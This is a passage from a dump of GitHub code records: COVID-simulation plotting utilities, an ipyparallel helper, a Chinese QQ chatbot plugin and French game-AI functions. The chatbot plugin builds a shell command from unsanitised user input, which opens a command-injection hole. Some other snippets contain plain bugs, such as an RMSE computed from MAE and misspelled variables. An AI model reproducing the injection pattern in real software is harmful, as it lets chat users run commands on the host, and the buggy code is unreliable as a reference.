2","repo_name":"JannaKim/PS","sub_path":"z수업용문제/JunminLim/14720.우유축제.py","file_name":"14720.우유축제.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4234363187","text":"import matplotlib, os\n\n# matplotlib.use('Agg')\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\nfrom sklearn.metrics import (\n mean_squared_error,\n r2_score,\n mean_absolute_error,\n median_absolute_error,\n)\n\nFIGURE_FOLDER = \"figures/\"\nEXTENSION = \".png\"\n\nREGIONS = [\"region_{}\".format(i) for i in range(9)]\nDAYS_OF_THE_WEEK = [\"day_of_week_{}\".format(i) for i in range(7)]\nDEMOGRAPHY = [\n \"density\",\n \"demographic\",\n \"population_p14\",\n \"population_p65\",\n \"gdp\",\n \"area\",\n]\nMOBILITY = [\n \"parks\",\n \"residential\",\n \"retail/recreation\",\n \"transit_stations\",\n \"workplace\",\n]\nSEIR = [\n \"ConfirmedCases_x\",\n \"ConfirmedCases_y\",\n \"ConfirmedDeaths\",\n \"Fatalities\",\n \"HospitalizedCases\",\n \"CriticalCases\",\n \"ExposedCases\",\n \"RecoveredCases\",\n \"InfectiousCases\",\n \"t_hosp\",\n \"t_crit\",\n \"m\",\n \"c\",\n \"f\",\n \"R_min\",\n \"R_max\",\n]\n\nMOBILITY_WINDOWS = [\n \"{}{}\".format(f, p)\n for p in [\"\", \"_5days\", \"_10days\", \"_15days\", \"_30days\"]\n for f in MOBILITY\n]\n\n\ndef features_values(suffix=\"random\"):\n return pd.read_csv(\n \"models/features_{}.csv\".format(suffix), parse_dates=[\"Date\"], index_col=0\n )\n\n\ndef metrics_report(X_test, y_test, reg):\n y_pred = reg.predict(X_test)\n return {\n \"r2_score\": r2_score(y_test, y_pred),\n \"mean_absolute_error\": mean_absolute_error(y_test, y_pred),\n \"mean_squared_error\": mean_squared_error(y_test, y_pred),\n \"median_absolute_error\": median_absolute_error(y_test, y_pred),\n \"RMSE\": np.sqrt(mean_absolute_error(y_test, y_pred)),\n }\n\n\ndef load_dataset():\n \"\"\"\n Load data from the dataset folder, all the values for the files are hardcoded.\n We first load the google mobility dataset and merge it with demography and\n epidemiologic data.\n\n Returns:\n pandas.Dataframe: All the value for each day of the training set for each country.\n \"\"\"\n prefix = \"current_\"\n # prefix=\"\"\n # google = pd.read_csv(\"./data/google.csv\", parse_dates=['Date']).drop([\"Unnamed: 0\"],axis=1)\n google = pd.read_csv(\"./data/processed/features.csv\", parse_dates=[\"Date\"]).drop(\n [\"Unnamed: 0\"], axis=1\n )\n countries = pd.read_csv(\"./data/processed/seirhcd.csv\", parse_dates=[\"Date\"]).drop(\n [\"Unnamed: 0\"], axis=1\n )\n\n # google = pd.get_dummies(google,prefix=\"day_of_week\", columns=[\"day_of_week\"])\n google = pd.get_dummies(google, prefix=\"region\", columns=[\"region\"])\n dataset = pd.merge(\n countries.groupby([\"CountryName\", \"Date\"]).agg(\"first\"),\n google.groupby([\"CountryName\", \"Date\"]).agg(\"first\"),\n on=[\"CountryName\", \"Date\"],\n how=\"inner\",\n )\n dataset = dataset.reset_index()\n\n columns = [\"R\", \"CountryName\", \"Date\"]\n columns.extend(REGIONS)\n # columns.extend(DAYS_OF_THE_WEEK)\n columns.extend(MOBILITY_WINDOWS)\n columns.extend(DEMOGRAPHY)\n columns.extend(SEIR)\n\n return dataset[columns]\n\n\ndef get_feature_columns():\n columns = []\n columns.extend(MOBILITY_WINDOWS)\n columns.extend(REGIONS)\n # columns.extend(DAYS_OF_THE_WEEK)\n columns.extend(DEMOGRAPHY)\n\n return columns\n\n\ndef color_palette(data, hue):\n n_colors = 1 if hue == None else len(data[hue].unique())\n return sns.color_palette(\"cubehelix\", n_colors=n_colors)\n\n\ndef save_figure(filename, dpi=300, bbox_inches=\"tight\"):\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n plt.savefig(filename, dpi=dpi, bbox_inches=bbox_inches)\n plt.close(\"all\")\n\n\ndef plot(\n type,\n data,\n name,\n x,\n y,\n y_label,\n x_label=\"\",\n hue=None,\n y_lim=None,\n fig_size=(6, 4),\n legend_pos=\"best\",\n style=None,\n custom_error=False,\n **kwargs\n):\n fig = plt.figure(figsize=fig_size)\n sns.set(style=\"white\", color_codes=True, font_scale=1.5)\n\n palette = color_palette(data, hue)\n\n if type == \"line\":\n g = sns.lineplot(\n x=x,\n y=y,\n hue=hue,\n data=data,\n palette=palette,\n legend=\"full\",\n style=style,\n **kwargs\n )\n plt.ticklabel_format(style=\"plain\", axis=\"y\", useOffset=False)\n elif type == \"scatter\":\n g = sns.scatterplot(\n x=x,\n y=y,\n hue=hue,\n data=data,\n palette=palette,\n legend=\"full\",\n style=style,\n **kwargs\n )\n elif type == \"boxplot\":\n g = sns.boxplot(x=x, y=y, hue=hue, data=data, palette=palette, **kwargs)\n else:\n raise TypeError(\"Only line or scatter are allowed\")\n\n fig.tight_layout()\n\n if not legend_pos:\n if g.legend_:\n g.legend_.remove()\n elif hue:\n handles, labels = g.get_legend_handles_labels()\n plt.legend(\n loc=\"best\", prop={\"size\": 15}, handles=handles[1:], labels=labels[1:]\n )\n\n plt.ylabel(y_label, fontsize=15)\n plt.xlabel(x_label, fontsize=15)\n plt.xticks(rotation=45)\n\n if y_lim != None and len(y_lim) == 2:\n plt.ylim(y_lim)\n\n if custom_error:\n error_band(data, x, hue)\n\n save_figure(\"figures/\" + name + EXTENSION)\n\n\ndef error_band(data, x, hue):\n ax = plt.gca()\n\n valid_labels = data[hue].unique()\n\n for line in ax.lines:\n if not line.get_label() in valid_labels:\n continue\n\n x_values = data.loc[data[hue] == line.get_label()][x].values\n y_min = data.loc[data[hue] == line.get_label()][\"Min\"].values\n y_max = data.loc[data[hue] == line.get_label()][\"Max\"].values\n\n ax.fill_between(\n x_values, y_min, y_max, color=line.get_color(), alpha=0.2, linewidth=0.0\n )\n\n\ndef a12(lst1, lst2, rev=True):\n more = same = 0.0\n for x in lst1:\n for y in lst2:\n if x == y:\n same += 1\n elif rev and x > y:\n more += 1\n elif not rev and x < y:\n more += 1\n return (more + 0.5 * same) / (len(lst1) * len(lst2))\n\n\ndef filter_allow_deny(in_list, config):\n\n out = in_list\n\n # Filter allow\n if \"allow\" in config:\n if config[\"allow\"] != \"*\":\n out = out[out.isin(config[\"allow\"])].to_list()\n\n # Filter denied\n if \"deny\" in config:\n out = [e for e in out if e not in config[\"deny\"]]\n\n return out\n","repo_name":"serval-uni-lu/covidsim-src","sub_path":"src/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24013631817","text":"import ipyparallel\nimport numpy\nimport os\nimport subprocess\nimport sys\nimport time\n\n\nclass SimpleMultiProcessor(object):\n ''' A simple interface providing simplified MultiProcessing for Jupyter notebooks.\n\n This class is a Context Manager that makes a command line call to start a \n cluster of python processes on entry, and shuts them down again on exit.\n\n As a context manager, the exit actions take place even if the contextualised\n code throws an error or the user hits the KeyboardInterrupt. Restarting the\n Kernel however, may leave orphaned python processes running. To close them \n down, open a Command Line Interface and run the following command:\n ipcluster stop\n\n Methods\n =======\n\n def __init__(self, cluster_count, startup_delay, modules):\n\n Args\n ----\n cluster_count: int, default 3, the number of processes to set up\n\n startup_delay: int, default 30, the delay between the command line call\n to start the ipyparallel processes\n\n modules: list, a list containing the names (as strings) of modules that\n you want to import in each process. sys is imported by default\n if the modules list is empty or not provided.\n\n def pass_vars_and_funcs(var_func_dictionary):\n\n This method is used to pass functions and other variables to each of\n the processes. Importantly, you need to pass all non-imported functions\n and variables to the processes.\n\n Args\n ----\n var_func_dictionary: dict, a dictionary with the desired name of the\n function or variable, and the function or variable itself.\n\n def run_this(function, against, chunkify):\n\n This method instructs the processes to run the provided function against\n each of the items in the against list.\n\n Args\n ----\n function: func, the function we wish to apply. The function must take an\n item from the against list as an argument.\n\n against: list, the list of objects to individually run the function against.\n\n chunkify: boolean, if True the against list is broken up into equally-\n sized sublists, each of which goes to a different processor.\n This will be useful if your function does its own chunking.\n If False, then the function is applied to the contents of the\n against list one at a time.\n\n Usage\n =======\n\n from KODSimpleMultiProcessor import SMP\n\n\n def distributed_function(part_of_list_to_process, *args, **kwargs):\n # You need to alias all the modules you'd normally alias here, rather\n # than when importing.\n np = numpy\n\n return part_of_list_to_process * 2\n\n # The processes will churn through a list of items, process them one at a \n # time, and then return the results in a list.\n list_to_process = [1, 2, 3, 4, 5, 6]\n\n def test_func():\n pass\n\n test_var = 1\n\n var_func_dictionary = {'test_func': test_func, 'test_var': test_var}\n\n with SMP(cluster_count=6, modules=['sys', 'numpy']) as mp:\n\n mp.pass_vars_and_funcs(var_func_dictionary)\n\n results = mp.run_this(\n function=distributed_function, \n against=list_to_process,\n chunkify=False\n )\n\n print(results)\n '''\n\n def __init__(self,\n cluster_count=4,\n startup_delay=30,\n modules=None\n ):\n\n self.cluster_count = cluster_count\n self.startup_delay = startup_delay\n\n self.workers = []\n self.pid_map = []\n self.Client = None\n\n default_modules = ['sys']\n\n self.modules = modules or default_modules\n\n if type(self.modules) is str:\n self.modules = [self.modules]\n\n elif type(self.modules) is not list:\n raise ImportError('\"modules\" must be a single module name string, or a list of modules names as strings.')\n\n\n def __enter__(self, *args, **kwargs):\n ''' Start the clusters by calling the following on the command line:\n ipcluster start -n --daemon\n\n Calling with the daemon argument will allow the code to keep running.\n\n We then wait until a connection can be made to the clusters, or the \n startup_delay expires.\n\n Once a connection is established, we load the initial libraries the user\n provided in the 'modules' argument, into each processor.\n\n '''\n\n _ = subprocess.Popen(['ipcluster', 'start', '-n', str(self.cluster_count), '--daemon'])\n\n # Give the cluster few seconds to startup.\n time.sleep(5)\n\n connected = False\n retries = 0\n\n while not connected and retries <= self.startup_delay:\n\n try:\n self.Client = ipyparallel.Client()\n ar = self.Client[:].apply_async(os.getpid)\n connected = True\n except ipyparallel.error.NoEnginesRegistered:\n continue\n except ipyparallel.error.TimeoutError:\n continue\n finally:\n retries += 1\n time.sleep(1)\n\n self.pid_map = ar.get_dict()\n self.workers = self.Client[:]\n\n with self.workers.sync_imports():\n for module in self.modules:\n globals()[module] = __import__(module)\n\n return self\n\n def __exit__(self, *args, **kwargs):\n ''' Upon exit, always shut down the cluster.\n\n The exit actions take place even if the contextualised code throws \n an error or the user hits the KeyboardInterrupt. Restarting the \n Kernel however, may leave orphaned python processes running. \n\n To close them down manually, open a Command Line Interface and run\n the following command:\n ipcluster stop\n '''\n\n _ = subprocess.Popen(['ipcluster', 'stop'])\n\n\n def pass_vars_and_funcs(self, var_func_dictionary, *args, **kwargs):\n ''' Use this function to pass variables and functions to each of the\n workers. The workers will only have access to these variables and \n functions in addition to the standard library. \n\n The variables and functions are not shared; they are copied.\n\n var_func_dictionary must be a dictionary with the keys as the \n names of the variable or function and the values being the actual\n items.\n '''\n\n for worker in self.Client:\n worker.push(\n var_func_dictionary,\n block = True\n )\n\n def run_this(self, function, against, chunkify=False, *args, **kwargs):\n ''' The function we want to run on the disparate processes, and the list\n we want to run through.\n\n The list called against is processed one item at a time.\n\n When chunkify is True, the list gets broken into equally-sized \n sub-lists for distribution to each of the the workers.\n '''\n\n if chunkify:\n against = [x.tolist() for x in numpy.array_split(against, self.cluster_count)]\n\n return self.workers.map_sync(function, against)\n\n\n\nif __name__ == '__main__':\n\n # import sys\n # sys.path.append('C:\\\\Stash\\\\ToolKit\\\\SimpleJupyterMultiProcessor')\n # from Multi_Processor import MultiProcessor\n\n def distributed_function(part_of_list_to_process, *args, **kwargs):\n # Alias all the modules you'd normally alias\n np = numpy\n\n return np.nan\n\n # The processes will churn through a list of items, process them, and \n # return the results in a list.\n list_to_process = [1, 2, 3, 4, 5, 6]\n\n def test_func():\n pass\n\n test_var = 1\n\n var_func_dictionary = {'test_func': test_func, 'test_var': test_var}\n\n with MultiProcessor(cluster_count=6, modules=['sys', 'numpy']) as mp:\n\n mp.pass_vars_and_funcs(var_func_dictionary)\n\n results = mp.run_this(function=distributed_function, against=list_to_process)\n\n print(results)","repo_name":"KODeKarnage/KODSimpleMultiProcessor","sub_path":"KODSimpleMultiProcessor/Multi_Processor.py","file_name":"Multi_Processor.py","file_ext":"py","file_size_in_byte":8199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14267974327","text":"from nonebot import on_command, CommandSession\r\nfrom nonebot import on_natural_language, NLPSession, IntentCommand\r\nimport logging\r\nfrom nonebot.log import logger\r\nimport subprocess\r\n@on_command('dblwar', aliases=('部落3+1','活动查询'),only_to_me=True)\r\nasync def dblwar(session: CommandSession):\r\n tag = session.get('tag', prompt='欢迎使用特别功能!请回复你的游戏TAG查询你的部落战情况吧',at_sender=True,only_to_me=True)\r\n dblwar_report = await get_dblwar(tag)\r\n #logger.info('[部落3+1]发送打油诗')\r\n #await session.send('信息量较大查询可能较慢,敬请谅解\\n请稍微休息一下吧:\\n部落3 + 1,获胜笑嘻嘻。\\n既能拿宝箱,还能拿奖品。\\n倘若人数多,岂不悲哀乎?\\n管家笑嘻嘻,首领惨兮兮。\\n温馨提示:仅为小管家自动吐槽,逗君一笑,请勿当真!',at_sender=True) \r\n if dblwar_report == 'ERROR-CRTimeOut':\r\n logger.info('[部落3+1]出现错误了:官方API查询超时,提示详见Debug模式')\r\n logger.debug('[部落3+1]详细信息:查询超时.详见小管家Wiki')\r\n logger.debug('[部落3+1]查询脚本执行完毕并返回信息到Nonebot脚本')\r\n await session.send('出现意外了:\\n因为连接速度太慢所以主动放弃查询了,请您重新使用指令再查询一下吧',at_sender=True)\r\n elif dblwar_report == 'ERROR-CRNotCallMe':\r\n logger.info('[部落3+1]用户意外触发或未正常放弃,查询无效,提示详见Debug模式')\r\n logger.debug('[部落3+1]详细信息:包含英文数字以外的其他语言,查询无效.详见小管家Wiki')\r\n logger.debug('[部落3+1]查询脚本执行完毕并返回信息到Nonebot脚本')\r\n await session.send('对不起,你似乎不是来查询信息的(。﹏。)',at_sender=True)\r\n elif dblwar_report == 'NotWar':\r\n logger.info('[部落3+1]信息查询完成,部落未开部落战')\r\n logger.debug('[部落3+1]查询脚本执行完毕并返回信息到Nonebot脚本')\r\n await session.send('部落战还没有开始呢,着急不是一件好事情(⊙o⊙)哦',at_sender=True)\r\n elif dblwar_report == 'NoUser':\r\n logger.info('[部落3+1]信息查询完成,没有参战或不在查询部落')\r\n logger.debug('[部落3+1]查询脚本执行完毕并返回信息到Nonebot脚本')\r\n await session.send('没有参战的小坏蛋查什么部落战?一边喝可乐去( ̄┰ ̄)',at_sender=True) \r\n else:\r\n await session.send(dblwar_report,at_sender=True)\r\n logger.info('[部落3+1]结果无错误并已查询完毕并发送给用户,任务结束')\r\n@dblwar.args_parser\r\nasync def _(session: CommandSession):\r\n logger.debug('[部落3+1]开始过滤无效字符')\r\n stripped_arg = session.current_arg_text.replace(' ','')\r\n stripped_arg = session.current_arg_text.replace('#','')\r\n if session.is_first_run:\r\n logger.info('[部落3+1]第一次进入程序,开始分析')\r\n if stripped_arg:\r\n session.state['tag'] = stripped_arg\r\n logger.info('[部落3+1]用户第一次输入不为空,作为参数传入并执行查询脚本')\r\n return\r\n if not stripped_arg:\r\n logger.info('[部落3+1]用户没有输入正确的TAG,重新询问')\r\n session.pause('您要查询的TAG似乎不对,再试试吧',at_sender=True)\r\n handle_cancellation(session)\r\n logger.info('[部落3+1]收到了非空白的用户TAG,转接查询实用程序')\r\n session.state[session.current_key] = stripped_arg\r\nasync def get_dblwar(tag: str) -> str:\r\n dblwar = subprocess.getoutput(\"python3 lib/clashroyale/dbl/dbl-war.py -u '%s'\"%(tag))\r\n return f'{dblwar}'\r\n@on_natural_language(keywords={'3+1','大部落部落战'},only_to_me=True)\r\nasync def _(session: NLPSession):\r\n return IntentCommand(81.0, 'dblwar')","repo_name":"XiaSweet/xiaxiaotian-QQbot","sub_path":"xiaxiaotian/clanwar.py","file_name":"clanwar.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"31623020610","text":"# -*- coding: utf-8 -*-\n\nfrom noeud import * \nfrom partie import *\nfrom arete import *\nfrom mouvement import *\nfrom getObjects import *\nfrom time import *\n\n'''Nom : tri_mouv_vers_noeud(noeud)\n\n Description : Cette fonction trie tous les mouvements à destination de noeud dans une liste en fonction du temps restant avant leur arrivée\n\n E : noeud : Noeud : Noeud dont on veut les mouvements arrivant sur lui\n \n S : liste : Liste : Liste des mouvements triés par ordre croissant sous la forme : [[temps_restant(s), Mouvement],[temps_restant(s), Mouvement],[temps_restant(s), Mouvement]]\n'''\n\ndef tri_mouv_vers_noeud(noeud):\n\n time_actuel = etime() \n liste = []\n \n for arete in noeud.aretesConnectees:\n\n for mouvement in arete.mouvements: #pour chaque mouvement autour de noeud\n \n if (mouvement.destination == noeud) : #Si le mouvement est à destination de noeud\n \n heure_depart = mouvement.timeDepart # alors on calcul le temps restant en millisecondes avant qu'il arrive sur noeud\n temps_necessaire = arete.longueur \n \n temps_restant = temps_necessaire - (time_actuel - heure_depart)\n \n liste.append([round(temps_restant/1000,3), mouvement]) #on ajoute le mouvement à la liste et on convertie le temps en secondes\n \n liste = sorted(liste, key= lambda temps: temps[0]) #on effectue le tri sur ordre croissant du temps restant\n \n return liste\n\n\n'''Nom : peutEnvoyer(noeud)\n Description : Cette fonction permet de connaitre le nombre d'unité disponible sur un noeud pour un mouvement.\n Les mouvements offensifs vers ce noeud sont déduis afin de limiter le risque de capture du noeud\n en cas d'envoi d'un nombre trop important d'unités ne permettant plus de défendre contre l'attaque en cours.\n \n E : noeud : Noeud : Noeud dont on veut savoir le nombre d'unités disponible pour un mouvement\n \n S : total : Int : Total des unités disponibles à l'attaque\n'''\n\ndef peutEnvoyer(noeud):\n \n total = noeud.off\n \n for arete in noeud.aretesConnectees:\n for mouvement in arete.mouvements:\n if (mouvement.proprio != noeud.proprio and mouvement.destination == noeud.id):\n total -= mouvement.nbUnites\n \n if (total < 0) : total = 0\n \n return total\n\n'''Nom : simulation_noeud(noeud, mouvement_theorique = None)\n \n Description : Cette fonction effectue la simulation de résolution des mouvement à destination de noeud. Il est possible de rajouter un faux mouvement qui sert\n a trouver par exemple le nombre minimal d'unités à envoyer sur le noeud pour le capturer ou pour le proteger contre une attaque imminente par exemple\n \n E : noeud : Noeud : Noeud que l'on souhaite simuler\n \n S : noeud_cible : Dictionnaire : Dictionnaire contenant les résultats de la simulation sous la forme {\"atk\": Int, \"def\": Int, \"maxAtk\" : Int, \"maxDef\" : Int, \"prod\" : float, \"proprio\" : Int}\n'''\n\ndef simulation_noeud(noeud, mouvement_theorique = None):\n liste_mouv = tri_mouv_vers_noeud(noeud) #Recuperation des mouvement triés vers noeud \n\n if(mouvement_theorique != None): #Si un faux mouvement pour test a été ajouté\n\n i = 0\n insertion_faite = False\n \n while(i < len(liste_mouv) and insertion_faite == False): #Ajout du faux mouvement dans la liste triée\n \n if(liste_mouv[i][0] >= mouvement_theorique[0]):\n liste_mouv.insert(i, mouvement_theorique)\n insertion_faite = True\n elif(i == len(liste_mouv)-1):\n liste_mouv.append(mouvement_theorique)\n insertion_faite = True\n \n i+=1\n \n #On crée un dictionnaire avec les infos utiles du noeud cible pour pouvoir les modifier à volonté pendant la simulation\n noeud_cible = {\"atk\" : noeud.off, \"def\" : noeud.defenses, \"maxAtk\" : noeud.offsize, \"maxDef\" : noeud.defsize, \"prod\" : noeud.prod, \"proprio\" : noeud.proprio}\n \n time_precedent = 0 #T-1 (utile pour le calcul de la production) \n \n report_prod_atk = 0 #Si production non entiere entre T-1 et T, on stock dans ces variables pour les reconsidérer plus tard\n report_prod_def = 0 \n \n for couple in liste_mouv: #Pour chaque couple de donnée tempsrestant/mouv dans la liste\n \n if ( noeud_cible[\"proprio\"] != -1) : #Si le noeud n'est pas neutre on calcul la production de l'attaque et de la défense du noeud\n\n prod_atk = (couple[0] - time_precedent) * noeud_cible[\"prod\"] + report_prod_atk\n report_prod_atk = prod_atk % 1 #Stockage de la partie décimale\n \n noeud_cible[\"atk\"] += int(prod_atk)\n noeud_cible[\"atk\"] = min([noeud_cible[\"atk\"] , noeud_cible[\"maxAtk\"]]) #Verification que l'ajout de la production ne fasse pas dépasser la limite d'atk du noeud\n\n prod_def = couple[0] - time_precedent + report_prod_def\n report_prod_def = prod_def % 1\n noeud_cible[\"def\"] += int(prod_def) \n noeud_cible[\"def\"] = min([noeud_cible[\"def\"] , noeud_cible[\"maxDef\"]])\n \n time_precedent = couple[0]\n \n if(couple[1].joueur == noeud_cible[\"proprio\"]): #si le mouvement qui arrive est un renfort\n \n noeud_cible[\"atk\"] += couple[1].nbUnites\n noeud_cible[\"atk\"] = min([noeud_cible[\"atk\"] , noeud_cible[\"maxAtk\"]])\n \n else: #si le mouvement qui arrive est une attaque \n\n noeud_cible[\"def\"] -= couple[1].nbUnites #on retire nb unit du mouvement à la défense du noeud\n \n if(noeud_cible[\"def\"] < 0) : #si l'attaque rend la défense du noeud négative\n \n noeud_cible[\"atk\"] -= abs(noeud_cible[\"def\"]) #alors cela veut dire que la défence a été détruite et que cette valeur négative doit s'appliquer aux unités d'attaque du noeud\n \n noeud_cible[\"def\"] = 0 #et on passe la défence à 0\n \n if(noeud_cible[\"atk\"] < 0) : #si, l'atk de la cible est au final elle aussi négative, cela veut dire que le noeud à été capturé\n \n noeud_cible[\"atk\"] = min([abs(noeud_cible[\"atk\"]), noeud_cible[\"maxAtk\"]]) #on fait donc l'absolue du nombre d'unités attaquantes \n noeud_cible[\"proprio\"] = couple[1].joueur #et le nouveau proprio est le joueur à qui appartenait les unités d'attaque\n report_prod_atk = 0 #Reset des variables de report des parties décimales des production, en effet, au changement de propriétaire\n report_prod_def = 0 #Toute production est remise à 0\n \n return noeud_cible\n \n'''Nom : doitEnvoyer(partie, noeud1, noeud2)\n\n Description : Cette fonction permet de déterminer avec une fiabilité élevée le nombre minimal d'unités nécessaires à la capture d'un noeud à un instant t \n via une simulation prendant en compte les mouvements en cours, les changements de propriétaire du noeud dans le temps etc...\n \n \n E : partie : Partie : Objet de la partie en cours\n noeud1 : Noeud : Noeud qui doit envoyer les unités\n noeud2 : Noeud : Noeud dont on veut savoir combien d'unité il faut pour la capturer\n \n S : : Int : Nombre d'unités nécessaires à la capture du noeud2 \n'''\n\ndef doitEnvoyer(partie, noeud1, noeud2):\n \n simu = simulation_noeud(noeud2) #On effectue une premiere simulation pour déterminer la résolution des mouvements autour de noeud2\n\n temps_restant_mouv = round((getArete(noeud1, noeud2).long /1000), 3) #On met en place un faux mouvement qui servira de test pour déterminer le nombre d'unités à envoyer pour capturer le noeud\n test_nbUnites = 0 \n test_mouv = [temps_restant_mouv,Mouvement(noeud2,test_nbUnites,etime(),noeud1.proprio)]\n\n resultat_valide = False #Boolean de sortie de boucle\n\n while(resultat_valide == False): #Tant que les simulations ne ressortent pas un résultat satisfaisant\n \n if(simu[\"proprio\"] == noeud1.proprio): #Si à la fin de la simulation noeud2 nous appartient\n\n if(test_mouv[1].nbUnites == 0): #si on a pas eu besoin d'utiliser le faux mouvement pour capturer le noeud alors on a pas besoins d'envoyer quelque unités que ce soit\n resultat_valide = True\n \n elif(simu[\"atk\"] > 1 and test_moub[1].nbUnites > 1): #Si au final le noeud capturé a plus d'une unités offensives, et le faux mouvement aussi, alors on doit il existe peut etre un nombre d'unités d'attaque plus faible qui puisse permettre la capture du noeud, or on charche le nombre minimal d'unités\n test_mouv[1].nbUnites -= 1 #On décremente le nombre d'unités dans le faux mouvement de 1 puis on resimule\n simu = simulation_noeud(noeud2, test_mouv) \n \n else : #Sinon, c'est à dire que l'on a trouvé le nombre minimal d'unité pour capturer le noeud avec un minimum d'unités (le noeud n'a au final que 0 ou une unité d'attaque de dispo)\n resultat_valide = True\n \n else: #Si à la fin de la simulation le noeud ne nous appartient pas\n\n if(test_mouv[1].nbUnites == 0 and (simu[\"atk\"]+simu[\"def\"]) > 0): #Si le faux mouvement n'a pas encore été utilisé en simulation (nbUnites = 0) et que le noeud a plus que 0 unités d'attaque dispo\n test_mouv[1].nbUnites = simu[\"atk\"]+simu[\"def\"] #alors on ressimule avec le faux mouvement qui dispose d'autant d'unités d'attaque que le noeud n'a d'unités d'attaque et de défense\n simu = simulation_noeud(noeud2, test_mouv)\n\n elif(simu[\"atk\"]+simu[\"def\"] >= 0 ): #En revanche si le faux mouvement a déja été utilisé alors on reteste en incrémentant son nbUnites jusqu'à ce que le simulation nous donne le résultat escompté\n test_mouv[1].nbUnites += 1\n simu = simulation_noeud(noeud2, test_mouv)\n \n #Résumé des cas à la fin de la simulation :\n #Le noeud nous appartient \n # - Et nous n'avons pas encore estimer de mouvement nécessaires pour le capturer (donc nos alliés n'ont pas besoin de noeud pour capturer le noeud)\n # - On renvoi 0 unités nécessaire pour capturer\n # - Et le noeud a un nombre d'unités superieur à 1 et le mouvement rajouté à la simulation à aussi plus d'une unité (donc on doit pouvoir réduire ce nombre)\n # - On décremente le nb d'unités dans le mouvement de test et on ressimule\n # - Sinon (Soit le mouvement suplémentaire permet la capture avec une seule unité, soit le noeud n'a que une unité d'attaque donc on a le mouvement min pour la capture)\n # - On a trouvé le nombre minimal d'unités pour capturer noeud2, on sort de la fonction\n #\n #Le noeud ne nous appartient pas\n # - Et on a pas encore simulé avec le rajout d'un mouvement \n # -On simule à nouveau en créant le mouvement de test avec un nombre d'unités valant la défense plus l'attaque du noeud2\n # - Et on a déja fait une simulation en rajoutant un mouvement de test\n # - On incrémente le nombre d'unités du mouvement et on relance la simulation\n \n \n return test_mouv[1].nbUnites #On renvoie le nombre minimal d'unités requis pour capturer le noeud\n\n'''Nom : peutCapturer(partie, noeud_attaquant, noeud_defenseur)\n\n Description : Cette fonction permet de déterminer si un noeud est capable de capturer un voisin\n \n E : partie : Partie : Objet de la partie en cours\n noeud_attaquant : Noeud : Noeud dont on veut savoir si il peut capturer noeud_defenseur\n noeud_defenseur : Noeud : Noeud dont on veut savoir si il peut etre capturé par noeud_attaquand\n \n S : reponse : Int : Tableau : [True/False, nombre d'unités à envoyer au min pour capturer] \n'''\n\ndef peutCapturer(partie, noeud_attaquant, noeud_defenseur):\n \n capacite_off = peutEnvoyer(noeud_attaquant)\n\n units_necessaires = doitEnvoyer(partie,noeud_attaquant, noeud_defenseur)\n \n \n if(capacite_off > units_necessaires): reponse = True\n \n else : reponse = False\n \n return [reponse, units_necessaires]\n \n'''Nom : triNoeudsDistances(listeNoeud, noeudDistant)\n\n Description : Cette fonction renvoie une liste de noeuds triés par leur distance par rapport à noeudDistant\n \n E : listeNoeud : Liste : Liste des noeud à classer selon leur distance à noeudDistant\n noeudDistant : Noeud : Noeud par rapport auquel on trie les autres noeuds\n \n S : maListe : Liste : Liste des noeuds triés du plus proche au plus éloigné\n''' \ndef triNoeudsDistances(listeNoeuds, noeudDistant) :\n maliste = list(listeNoeuds)\n maliste = sorted(maliste, key=lambda dist: dist.distances[str(noeudDistant.id)][1])\n return maliste\n \n'''Nom : triLePlusRentable(listeNoeud, noeudDistant)\n\n Description : Cette fonction renvoie une liste contenant les mêmes noeud que le premier paramètre mais triés en fonction de \n la rentabilité de chaque noeud par rapport au noeud distant, par exemple, pour un fournisseur, on passe les noeuds\n en danger en tant que premier parametre et on saurait quelle noeud en danger est le plus important à aider par\n rapport à ce fournisseur. La liste renvoyée est une liste de listes contenant deux éléments, le premier le Noeud en \n danger et le second sa rentabilité, plus la valeur de la rentabilité est elevée, plus le noeud est important.\n \n E : listeNoeud : Liste : Liste des noeud à classer selon leur rentabilité et contenant le nombre d'unités nécessaires pour les aider\n [noeud1, noeud2,...]\n noeudDistant : Noeud : Noeud qui sert de point de réference pour le calcul de la rentabilité des autres noeuds\n \n S : listeTrie : Liste : Comme listeNoeud mais trié selon la rentabilité du point de vu de noeudDistant\n'''\ndef triLePlusRentable(listeNoeud, noeudDistant ):\n \n listeTrie = []\n \n for noeud1 in listeNoeud:\n noeud1Score = 0\n \n for noeud2 in listeNoeud:\n \n if (noeud1 != noeud2):\n \n if (getDistance(noeudDistant, noeud1) > getDistance(noeudDistant,noeud2)):\n noeudLoin = noeud1\n noeudProche = noeud2\n \n else:\n noeudLoin = noeud2\n noeudProche = noeud1\n \n marge = max([noeud1.prod, noeud2.prod]) - min([noeud1.prod, noeud2.prod])\n\n diffDistance = getDistance(noeudDistant, noeudLoin) - getDistance(noeudDistant, noeudProche)\n \n if(diffDistance == 0):\n if(noeud1.prod > noeud2.prod): noeud1Score += 1\n \n elif (diffDistance <= (getDistance(noeudDistant, noeudProche) * marge)):\n if(noeudLoin == noeud1) : noeud1Score += 1\n \n else: \n if(noeudProche == noeud1) : noeud1Score += 1\n \n listeTrie.append([noeud1, noeud1Score])\n \n \n listeTrie = sorted(listeTrie, key=lambda rentabilite:rentabilite[1])\n\n resultat = []\n for liste in listeTrie:\n resultat.append(liste[0])\n \n return resultat\n \n\n \n\n ","repo_name":"Valars/Ragnar","sub_path":"code/fonctions_utiles.py","file_name":"fonctions_utiles.py","file_ext":"py","file_size_in_byte":16027,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31265385021","text":"import math, matplotlib\nfrom matplotlib import pyplot\n\ndef f(t):\n if t > 1: # post-ipo\n return 1 - 0.25 * math.exp(-2*(t-1))\n else:\n return 5 * math.exp(-5*t) + \\\n 2.5 * math.exp(6*(t-1))\n\n\nts = [i/1000 for i in range(0, 1750)]\nys = [f(t) for t in 